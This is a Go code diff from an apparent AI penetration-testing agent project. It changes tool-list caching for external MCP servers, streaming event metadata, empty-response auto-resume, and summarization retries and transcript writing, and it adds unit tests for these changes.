// 获取失败,尝试使用缓存
|
||||
return m.getCachedTools(name, "连接正常但获取失败", err)
|
||||
}
|
||||
|
||||
// 获取成功,更新缓存
|
||||
m.updateToolCache(name, tools)
|
||||
return tools, nil
|
||||
}
|
||||
|
||||
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
||||
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
|
||||
}
|
||||
|
||||
// getCachedTools 获取缓存的工具列表
|
||||
// getCachedTools 获取缓存的工具列表(含空列表缓存)
|
||||
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
|
||||
m.toolCacheMu.RLock()
|
||||
cachedTools, hasCache := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
|
||||
if hasCache && len(cachedTools) > 0 {
|
||||
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||
m.logger.Debug("使用缓存的工具列表",
|
||||
zap.String("name", name),
|
||||
zap.String("reason", reason),
|
||||
zap.Int("count", len(cachedTools)),
|
||||
zap.Int("count", len(tools)),
|
||||
zap.Error(originalErr),
|
||||
)
|
||||
return cachedTools, nil
|
||||
return tools, nil
|
||||
}
|
||||
|
||||
// 无缓存,返回错误
|
||||
if originalErr != nil {
|
||||
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
|
||||
}
|
||||
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
|
||||
}
|
||||
|
||||
// updateToolCache 更新工具列表缓存
|
||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
|
||||
return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
|
||||
}
|
||||
|
||||
func cloneTools(tools []Tool) []Tool {
|
||||
if len(tools) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]Tool, len(tools))
|
||||
copy(out, tools)
|
||||
return out
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
|
||||
m.toolCacheMu.RLock()
|
||||
entry, ok := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
|
||||
return nil, false
|
||||
}
|
||||
return cloneTools(entry.tools), true
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
|
||||
m.toolCacheMu.RLock()
|
||||
entry, ok := m.toolCache[name]
|
||||
m.toolCacheMu.RUnlock()
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
return cloneTools(entry.tools), true
|
||||
}
|
||||
|
||||
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
|
||||
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
|
||||
m.listToolsMu.Lock()
|
||||
if inflight, exists := m.listToolsInflight[name]; exists {
|
||||
m.listToolsMu.Unlock()
|
||||
select {
|
||||
case <-inflight.done:
|
||||
if inflight.err != nil {
|
||||
return nil, inflight.err
|
||||
}
|
||||
return cloneTools(inflight.tools), nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
inflight := &listToolsInflight{done: make(chan struct{})}
|
||||
m.listToolsInflight[name] = inflight
|
||||
m.listToolsMu.Unlock()
|
||||
|
||||
inflight.tools, inflight.err = client.ListTools(ctx)
|
||||
if inflight.err == nil {
|
||||
m.updateToolCache(name, inflight.tools)
|
||||
}
|
||||
|
||||
m.listToolsMu.Lock()
|
||||
delete(m.listToolsInflight, name)
|
||||
close(inflight.done)
|
||||
m.listToolsMu.Unlock()
|
||||
|
||||
if inflight.err != nil {
|
||||
m.handleConnectionDead(name, client, inflight.err)
|
||||
return nil, inflight.err
|
||||
}
|
||||
return cloneTools(inflight.tools), nil
|
||||
}
|
||||
|
||||
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
|
||||
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache[name] = tools
|
||||
delete(m.toolCache, name)
|
||||
m.toolCacheMu.Unlock()
|
||||
}
|
||||
|
||||
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
|
||||
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache = make(map[string]toolListCacheEntry)
|
||||
m.toolCacheMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
|
||||
go func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
_, _ = m.listToolsDeduped(ctx, name, client)
|
||||
}()
|
||||
}
|
||||
|
||||
// updateToolCache 更新工具列表缓存与工具数量
|
||||
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
stored := cloneTools(tools)
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 如果返回空列表,记录警告
|
||||
if len(tools) == 0 {
|
||||
m.toolCountsMu.Lock()
|
||||
m.toolCounts[name] = len(stored)
|
||||
m.toolCountsMu.Unlock()
|
||||
|
||||
if len(stored) == 0 {
|
||||
m.logger.Warn("外部MCP返回空工具列表",
|
||||
zap.String("name", name),
|
||||
zap.String("hint", "服务可能暂时不可用,工具列表为空"),
|
||||
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
|
||||
} else {
|
||||
m.logger.Debug("工具列表缓存已更新",
|
||||
zap.String("name", name),
|
||||
zap.Int("count", len(tools)),
|
||||
zap.Int("count", len(stored)),
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
||||
|
||||
// 调用工具
|
||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
||||
if err != nil {
|
||||
m.handleConnectionDead(mcpName, client, err)
|
||||
}
|
||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||
|
||||
// 更新执行记录
|
||||
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
|
||||
return
|
||||
}
|
||||
|
||||
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞
|
||||
// 由于这是后台异步刷新,超时不会影响前端响应
|
||||
// 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
|
||||
if _, fresh := m.getFreshCachedTools(n); fresh {
|
||||
m.toolCountsMu.RLock()
|
||||
count := m.toolCounts[n]
|
||||
m.toolCountsMu.RUnlock()
|
||||
resultChan <- countResult{name: n, count: count}
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
tools, err := c.ListTools(ctx)
|
||||
tools, err := m.listToolsDeduped(ctx, n, c)
|
||||
cancel()
|
||||
|
||||
if err != nil {
|
||||
errStr := err.Error()
|
||||
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
|
||||
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
|
||||
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
|
||||
zap.String("name", n),
|
||||
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
|
||||
zap.Error(err),
|
||||
)
|
||||
} else {
|
||||
if !isConnectionDeadError(err) {
|
||||
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
|
||||
zap.String("name", n),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
|
||||
resultChan <- countResult{name: n, count: -1}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
|
||||
if !client.IsConnected() {
|
||||
return
|
||||
}
|
||||
|
||||
// 检查状态,如果是error状态,不更新缓存
|
||||
status := client.GetStatus()
|
||||
if status == "error" {
|
||||
if client.GetStatus() == "error" {
|
||||
m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
|
||||
zap.String("name", name),
|
||||
zap.String("status", status),
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
// 使用较短的超时时间(5秒)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
|
||||
tools, err := client.ListTools(ctx)
|
||||
if err != nil {
|
||||
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
|
||||
m.logger.Debug("刷新工具列表缓存失败",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
// 刷新失败时不更新缓存,保留旧缓存(如果有)
|
||||
return
|
||||
}
|
||||
|
||||
// 使用统一的缓存更新方法
|
||||
m.updateToolCache(name, tools)
|
||||
}
|
||||
|
||||
// startToolCountRefresh 启动后台刷新工具数量的goroutine
|
||||
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
|
||||
m.refreshWg.Add(1)
|
||||
go func() {
|
||||
defer m.refreshWg.Done()
|
||||
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
|
||||
ticker := time.NewTicker(externalToolCountRefreshInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
// 立即执行一次刷新
|
||||
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
|
||||
zap.String("name", name),
|
||||
)
|
||||
|
||||
m.onClientConnected(name)
|
||||
|
||||
// 连接成功,触发工具数量刷新和工具列表缓存刷新
|
||||
m.triggerToolCountRefresh()
|
||||
m.mu.RLock()
|
||||
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
|
||||
for name, client := range m.clients {
|
||||
client.Close()
|
||||
delete(m.clients, name)
|
||||
m.clearReconnectState(name)
|
||||
}
|
||||
|
||||
// 清理所有工具数量缓存
|
||||
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
|
||||
|
||||
// 清理所有工具列表缓存
|
||||
m.toolCacheMu.Lock()
|
||||
m.toolCache = make(map[string][]Tool)
|
||||
m.toolCache = make(map[string]toolListCacheEntry)
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 停止后台刷新(使用 select 避免重复关闭 channel)
|
||||
|
||||
@@ -176,6 +176,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
lastPlanExecuteExecutor = ""
|
||||
var reasoningStreamSeq int64
|
||||
var einoSubReplyStreamSeq int64
|
||||
var mainResponseStreamSeq int64
|
||||
toolEmitSeen := make(map[string]struct{})
|
||||
var einoMainRound int
|
||||
var einoLastAgent string
|
||||
@@ -632,6 +633,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
mv := ev.Output.MessageOutput
|
||||
|
||||
if mv.IsStreaming && mv.MessageStream != nil {
|
||||
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
||||
streamHeaderSent := false
|
||||
var reasoningStreamID string
|
||||
var toolStreamFragments []schema.ToolCall
|
||||
@@ -738,6 +740,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": mainStreamID,
|
||||
})
|
||||
streamHeaderSent = true
|
||||
}
|
||||
@@ -747,6 +751,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": mainStreamID,
|
||||
}, mainAssistantBuf))
|
||||
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
|
||||
}
|
||||
@@ -806,6 +812,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": mainStreamID,
|
||||
})
|
||||
}
|
||||
progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
|
||||
@@ -814,6 +822,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": mainStreamID,
|
||||
}, mainAssistantBuf))
|
||||
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
|
||||
}
|
||||
@@ -916,6 +926,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
}
|
||||
executeStdoutDupMu.Unlock()
|
||||
if progress != nil {
|
||||
nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
||||
progress("response_start", "", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"mcpExecutionIds": snapshotMCPIDs(),
|
||||
@@ -923,6 +934,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": nonStreamID,
|
||||
})
|
||||
progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
@@ -930,6 +943,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
"einoRole": "orchestrator",
|
||||
"einoAgent": ev.AgentName,
|
||||
"orchestration": orchMode,
|
||||
"iteration": einoMainRound,
|
||||
"streamId": nonStreamID,
|
||||
}, body))
|
||||
}
|
||||
lastAssistant = body
|
||||
@@ -1012,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
||||
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
||||
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
||||
)
|
||||
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
|
||||
if logger != nil {
|
||||
logger.Info("eino empty response, ending run segment for handler resume",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("orchestration", orchMode),
|
||||
zap.Int("traceMessages", len(runAccumulatedMsgs)))
|
||||
}
|
||||
if progress != nil {
|
||||
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"source": "eino",
|
||||
"resumeKind": "trace_segment",
|
||||
})
|
||||
}
|
||||
return out, ErrEmptyResponseContinue
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
|
||||
if out == nil || accumulatedLen <= baseCount {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
|
||||
}
|
||||
|
||||
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
||||
if args != nil && args.ModelFacingTrace != nil {
|
||||
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
package multiagent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
|
||||
t.Parallel()
|
||||
hint := "(empty hint)"
|
||||
out := &RunResult{Response: hint}
|
||||
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
|
||||
t.Fatal("expected continue when response is empty hint and trace grew")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
|
||||
t.Fatal("expected no continue when trace did not grow")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
|
||||
t.Fatal("expected no continue when response has content")
|
||||
}
|
||||
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
|
||||
t.Fatal("expected no continue for nil result")
|
||||
}
|
||||
}
|
||||
@@ -43,22 +43,6 @@ func sanitizeEinoPathSegment(s string) string {
|
||||
return s
|
||||
}
|
||||
|
||||
// localPlantaskBackend wraps the eino-ext local backend with plantask.Delete (Local has no Delete).
|
||||
type localPlantaskBackend struct {
|
||||
*localbk.Local
|
||||
}
|
||||
|
||||
func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
|
||||
if l == nil || l.Local == nil || req == nil {
|
||||
return nil
|
||||
}
|
||||
p := strings.TrimSpace(req.FilePath)
|
||||
if p == "" {
|
||||
return nil
|
||||
}
|
||||
return os.Remove(p)
|
||||
}
|
||||
|
||||
func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||
if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
|
||||
return all, nil, false
|
||||
@@ -67,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
|
||||
}
|
||||
|
||||
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||
nameSet := make(map[string]struct{}, len(names))
|
||||
for _, n := range names {
|
||||
n = strings.TrimSpace(strings.ToLower(n))
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
nameSet[n] = struct{}{}
|
||||
}
|
||||
nameSet := expandAlwaysVisibleNameSet(names)
|
||||
if len(nameSet) == 0 {
|
||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||
}
|
||||
@@ -87,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
|
||||
info, err := t.Info(context.Background())
|
||||
name := ""
|
||||
if err == nil && info != nil {
|
||||
name = strings.TrimSpace(strings.ToLower(info.Name))
|
||||
name = info.Name
|
||||
}
|
||||
if _, keep := nameSet[name]; keep {
|
||||
if toolMatchesAlwaysVisible(name, nameSet) {
|
||||
static = append(static, t)
|
||||
continue
|
||||
}
|
||||
@@ -238,7 +215,7 @@ func prependEinoMiddlewares(
|
||||
if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
|
||||
return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
|
||||
}
|
||||
ptBE := &localPlantaskBackend{Local: einoLoc}
|
||||
ptBE := newLocalPlantaskBackend(einoLoc)
|
||||
pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
|
||||
if perr != nil {
|
||||
return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)
|
||||
|
||||
@@ -117,6 +117,7 @@ func RunEinoSingleChatModelAgent(
|
||||
},
|
||||
}
|
||||
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
||||
openai.AttachSummarizationDiagTransport(httpClient, logger)
|
||||
|
||||
baseModelCfg := &einoopenai.ChatModelConfig{
|
||||
APIKey: appCfg.OpenAI.APIKey,
|
||||
|
||||
@@ -9,15 +9,19 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/config"
|
||||
copenai "cyberstrike-ai/internal/openai"
|
||||
|
||||
"github.com/bytedance/sonic"
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/adk/middlewares/summarization"
|
||||
"github.com/cloudwego/eino/components/model"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const defaultSummarizationRetryMax = 3
|
||||
|
||||
// einoSummarizeUserInstruction:压缩历史时保留渗透测试关键信息。
|
||||
const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
|
||||
|
||||
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
|
||||
}
|
||||
}
|
||||
|
||||
retryMax := defaultSummarizationRetryMax
|
||||
if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
|
||||
retryMax = mwCfg.SummarizationRetryMaxAttempts
|
||||
}
|
||||
|
||||
// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
|
||||
// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
|
||||
summaryModelOpts := []model.Option{
|
||||
einoopenai.WithExtraHeader(map[string]string{
|
||||
copenai.SummarizationRequestHeader: "1",
|
||||
}),
|
||||
einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
|
||||
if logger != nil {
|
||||
logger.Info("eino summarization generate request",
|
||||
zap.Int("input_messages", len(in)),
|
||||
zap.Int("payload_bytes", len(rawBody)),
|
||||
zap.String("model", modelName),
|
||||
)
|
||||
}
|
||||
return stripReasoningFromSummarizationPayload(rawBody)
|
||||
}),
|
||||
}
|
||||
|
||||
mw, err := summarization.New(ctx, &summarization.Config{
|
||||
Model: summaryModel,
|
||||
Model: summaryModel,
|
||||
ModelOptions: summaryModelOpts,
|
||||
Trigger: &summarization.TriggerCondition{
|
||||
ContextTokens: trigger,
|
||||
},
|
||||
@@ -102,24 +130,43 @@ func newEinoSummarizationMiddleware(
|
||||
Enabled: true,
|
||||
MaxTokens: preserveMax,
|
||||
},
|
||||
Retry: &summarization.RetryConfig{
|
||||
MaxRetries: &retryMax,
|
||||
ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
|
||||
if err != nil && logger != nil {
|
||||
logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
|
||||
zap.Error(err),
|
||||
zap.Int("max_retries", retryMax),
|
||||
)
|
||||
}
|
||||
return err != nil
|
||||
},
|
||||
},
|
||||
Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
|
||||
return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
|
||||
},
|
||||
Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
|
||||
if logger == nil {
|
||||
return nil
|
||||
if transcriptPath != "" && len(before.Messages) > 0 {
|
||||
if werr := writeSummarizationTranscript(transcriptPath, before.Messages); werr != nil && logger != nil {
|
||||
logger.Warn("eino summarization transcript 写入失败",
|
||||
zap.String("path", transcriptPath),
|
||||
zap.Error(werr),
|
||||
)
|
||||
}
|
||||
}
|
||||
if logger != nil {
|
||||
beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
|
||||
afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
|
||||
logger.Info("eino summarization 已压缩上下文",
|
||||
zap.Int("messages_before", len(before.Messages)),
|
||||
zap.Int("messages_after", len(after.Messages)),
|
||||
zap.Int("tokens_before_estimated", beforeTokens),
|
||||
zap.Int("tokens_after_estimated", afterTokens),
|
||||
zap.Int("max_total_tokens", maxTotal),
|
||||
zap.Int("trigger_context_tokens", trigger),
|
||||
zap.String("transcript_file", transcriptPath),
|
||||
)
|
||||
}
|
||||
beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
|
||||
afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
|
||||
logger.Info("eino summarization 已压缩上下文",
|
||||
zap.Int("messages_before", len(before.Messages)),
|
||||
zap.Int("messages_after", len(after.Messages)),
|
||||
zap.Int("tokens_before_estimated", beforeTokens),
|
||||
zap.Int("tokens_after_estimated", afterTokens),
|
||||
zap.Int("max_total_tokens", maxTotal),
|
||||
zap.Int("trigger_context_tokens", trigger),
|
||||
zap.String("transcript_file", transcriptPath),
|
||||
)
|
||||
return nil
|
||||
},
|
||||
})
|
||||
@@ -295,6 +342,23 @@ func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
|
||||
return rounds
|
||||
}
|
||||
|
||||
// writeSummarizationTranscript persists pre-compaction history for read_file after summarization.
|
||||
// Eino TranscriptFilePath only embeds the path in summary text; the file must be written by the host app.
|
||||
func writeSummarizationTranscript(path string, msgs []adk.Message) error {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return nil
|
||||
}
|
||||
body := formatSummarizationTranscript(msgs)
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return fmt.Errorf("mkdir transcript dir: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
||||
return fmt.Errorf("write transcript: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
|
||||
tc := agent.NewTikTokenCounter()
|
||||
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"github.com/bytedance/sonic"
|
||||
)
|
||||
|
||||
// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
|
||||
// chat-completions JSON body. Applied only to summarization Generate calls via
|
||||
// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
|
||||
func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
|
||||
var payload map[string]any
|
||||
if err := sonic.Unmarshal(rawBody, &payload); err != nil {
|
||||
return rawBody, nil
|
||||
}
|
||||
changed := false
|
||||
for _, key := range []string{
|
||||
"thinking",
|
||||
"reasoning_effort",
|
||||
"output_config",
|
||||
"reasoning",
|
||||
} {
|
||||
if _, ok := payload[key]; ok {
|
||||
delete(payload, key)
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
if !changed {
|
||||
return rawBody, nil
|
||||
}
|
||||
out, err := sonic.Marshal(payload)
|
||||
if err != nil {
|
||||
return rawBody, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStripReasoningFromSummarizationPayload(t *testing.T) {
|
||||
in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
|
||||
out, err := stripReasoningFromSummarizationPayload(in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
s := string(out)
|
||||
if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
|
||||
t.Fatalf("expected reasoning fields stripped, got %s", s)
|
||||
}
|
||||
if !strings.Contains(s, `"model":"deepseek-chat"`) {
|
||||
t.Fatalf("expected model preserved, got %s", s)
|
||||
}
|
||||
|
||||
plain := []byte(`{"model":"gpt-4o","messages":[]}`)
|
||||
out2, err := stripReasoningFromSummarizationPayload(plain)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(out2) != string(plain) {
|
||||
t.Fatalf("expected unchanged payload, got %s", out2)
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,9 @@ package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
@@ -343,3 +346,91 @@ func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteSummarizationTranscript(t *testing.T) {
|
||||
t.Parallel()
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "summarization", "transcript.txt")
|
||||
msgs := []adk.Message{
|
||||
schema.UserMessage("scan target"),
|
||||
assistantToolCallsMsg("", "tc1"),
|
||||
schema.ToolMessage("nmap output", "tc1"),
|
||||
}
|
||||
if err := writeSummarizationTranscript(path, msgs); err != nil {
|
||||
t.Fatalf("writeSummarizationTranscript: %v", err)
|
||||
}
|
||||
body, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read transcript: %v", err)
|
||||
}
|
||||
text := string(body)
|
||||
if !strings.Contains(text, "Pre-compaction session record") {
|
||||
t.Fatalf("missing transcript header: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "[user]") || !strings.Contains(text, "scan target") {
|
||||
t.Fatalf("missing user section: %q", text)
|
||||
}
|
||||
if !strings.Contains(text, "tool_calls:") || !strings.Contains(text, "nmap output") {
|
||||
t.Fatalf("missing tool round: %q", text)
|
||||
}
|
||||
}
|
